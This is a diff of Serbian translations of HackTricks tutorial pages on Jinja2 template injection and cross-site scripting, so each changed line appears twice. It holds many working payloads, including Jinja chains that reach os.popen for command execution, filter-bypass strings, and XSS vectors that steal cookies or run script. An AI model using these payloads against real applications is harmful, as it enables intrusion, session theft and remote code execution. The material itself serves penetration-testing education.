Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandboxovanog python okruženja** i biće **dostupni** unutar **sandboxovanog okruženja.**\
Štaviše, postoje drugi objekti koji će biti **uvek dostupni iz sandboxovanog okruženja**, to su:
```
[]
''
@ -123,6 +125,7 @@ dict.__mro__[-1]
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
@ -131,7 +134,7 @@ dict.__mro__[-1]
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__`, sada možemo koristiti te klase za čitanje i pisanje fajlova i izvršavanje koda.
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo ako pristupimo **klasi fajla** da **čitamo/pišemo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo ako pristupimo **klasi fajlova** da **čitamo/pišemo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
**Read/Write remote file**
```python
@ -173,7 +176,7 @@ Da biste saznali o **više klasa** koje možete koristiti za **izbegavanje**, mo
#### Uobičajena zaobilaženja
Ova zaobilaženja će nam omogućiti da **pristupimo** **atributima** objekata **bez korišćenja nekih karaktera**.\
Već smo videli neka od ovih zaobilaženja u primerima prethodnog, ali hajde da ih ovde sumiramo:
Već smo videli neka od ovih zaobilaženja u primerima prethodnog, ali hajde da ih sumiramo ovde:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#accessing-global-objects)
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -214,7 +218,7 @@ Podrazumevano Flask HTML kodira sve unutar šablona iz bezbednosnih razloga:
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filter omogućava nam da injektujemo JavaScript i HTML u stranicu **bez** da bude **HTML kodiran**, kao što je ovo:
**`safe`** filter omogućava nam da injektujemo JavaScript i HTML u stranicu **bez** da bude **HTML kodiran**, ovako:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -241,11 +245,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#accessing-global-objects) postoji još jedan način da se dođe do **RCE bez korišćenja te klase.**\
Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**.
Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** veoma **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** kojem imate pristup sa:
```bash
@ -281,6 +286,7 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije sa:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
@ -318,13 +324,13 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Reference
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Proverite [attr trik za zaobilaženje crnih lista ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Proverite [attr trik za zaobilaženje crnih karaktera ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -26,12 +26,12 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava
3. Unutar **JavaScript koda**:
1. Možete li pobjeći iz `<script>` taga?
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
3. Da li su vaši ulazi u template literalu \`\`?
3. Da li su vaši unosi u template literalu \`\`?
4. Možete li zaobići zaštite?
4. Javascript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korisno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
@ -41,29 +41,29 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
## Odražene vrednosti
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti **Reflected XSS**.
* **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
## Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
### Sirovi HTML
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
### Unutar atributa HTML tagova
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
@ -89,7 +89,7 @@ U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** o
```
#### Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da zloupotrebite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete zloupotrebiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Pogledajte sledeću stranicu za više informacija:**
{% content-ref url="js-hoisting.md" %}
@ -100,7 +100,7 @@ Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenlji
Nekoliko web stranica ima krajnje tačke koje **prihvataju kao parametar ime funkcije koja treba da se izvrši**. Uobičajen primer koji se može videti u praksi je nešto poput: `?callback=callbackFunc`.
Dobar način da saznate da li nešto što je korisnik direktno uneo pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput:
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput:
![](<../../.gitbook/assets/image (711).png>)
@ -157,24 +157,24 @@ Neki **primeri**:
Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\***** ****`-->`**** ****ili \*\*\*\*****`--!>`**_
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payloads kao:
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-forcujete koje tagove** možete kreirati.\
Kada **locirate koji tagovi su dozvoljeni**, moraćete da **brute-forcujete atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napravite brute-force koji tagovi** možete kreirati.\
Kada **locirate koji tagovi su dozvoljeni**, moraćete da **napravite brute-force atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
### Brute-force tagova/događaja
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-forcovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napraviti brute-force sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre).
### Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -247,7 +247,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
If in order to exploit the vulnerability you need the **korisnik to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
### Impossible - Dangling Markup
@ -275,12 +275,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
```
### Unutar atributa
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
Napomena da je **svaka vrsta HTML kodiranja validna**:
```javascript
@ -355,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Ostali trikovi obfuskacije**
_**U ovom slučaju, HTML kodiranje i Unicode kodiranje trik iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_
_**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **to nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -369,7 +369,7 @@ Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo k
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Obrnuto tab nabbing
### Obrnuto nabbing taba
```javascript
<a target="_blank" rel="opener"
```
@ -394,7 +394,7 @@ Ako možete da ubacite bilo koju URL adresu u proizvoljnom **`<a href=`** tagu k
### o zaobilaženju Event Handlers
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženje:
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete probati sledeće zaobilaženja:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
```
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta)
Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -424,7 +424,7 @@ I u **meta tagovima**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -440,13 +440,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar
* **Hex i Oktalno kodiranje**
* **data kodiranje**
**Obilaženja za HTML tagove i atribute**
**Obilaženje za HTML tagove i atribute**
Pročitajte [Obilaženja crne liste iz prethodne sekcije](./#blacklist-bypasses).
Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses).
**Obilaženja za JavaScript kod**
**Obilaženje za JavaScript kod**
Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
Pročitajte [crnu listu obilaženja JavaScript-a iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -478,11 +478,11 @@ Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci'
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
### Unutar JS koda
Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Poziv proizvoljne funkcije (alert)**
**Arbitrarni poziv funkcije (alert)**
````javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
````
## **DOM ranjivosti**
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS kod.\
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -749,7 +749,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -761,11 +761,11 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
### Odbijanje sesije
### Održivost sesije
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
## Ostali zaobilaženja
@ -779,7 +779,7 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovne dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -822,9 +822,9 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo je **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
### Samo slova, brojevi i tačke
@ -833,7 +833,7 @@ Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti
### Validni `<script>` Content-Types za XSS
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
> Odbijeno izvršavanje skripte sa [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (application/octet-stream) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
@ -861,14 +861,12 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti naznačeni za učitavanje skripte?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
```html
<script type="???"></script>
```
The answer is:
* **modul** (podrazumevano, nema potrebe za objašnjenjem)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
```html
<script type="webbundle">
{
@ -895,7 +893,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se premapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
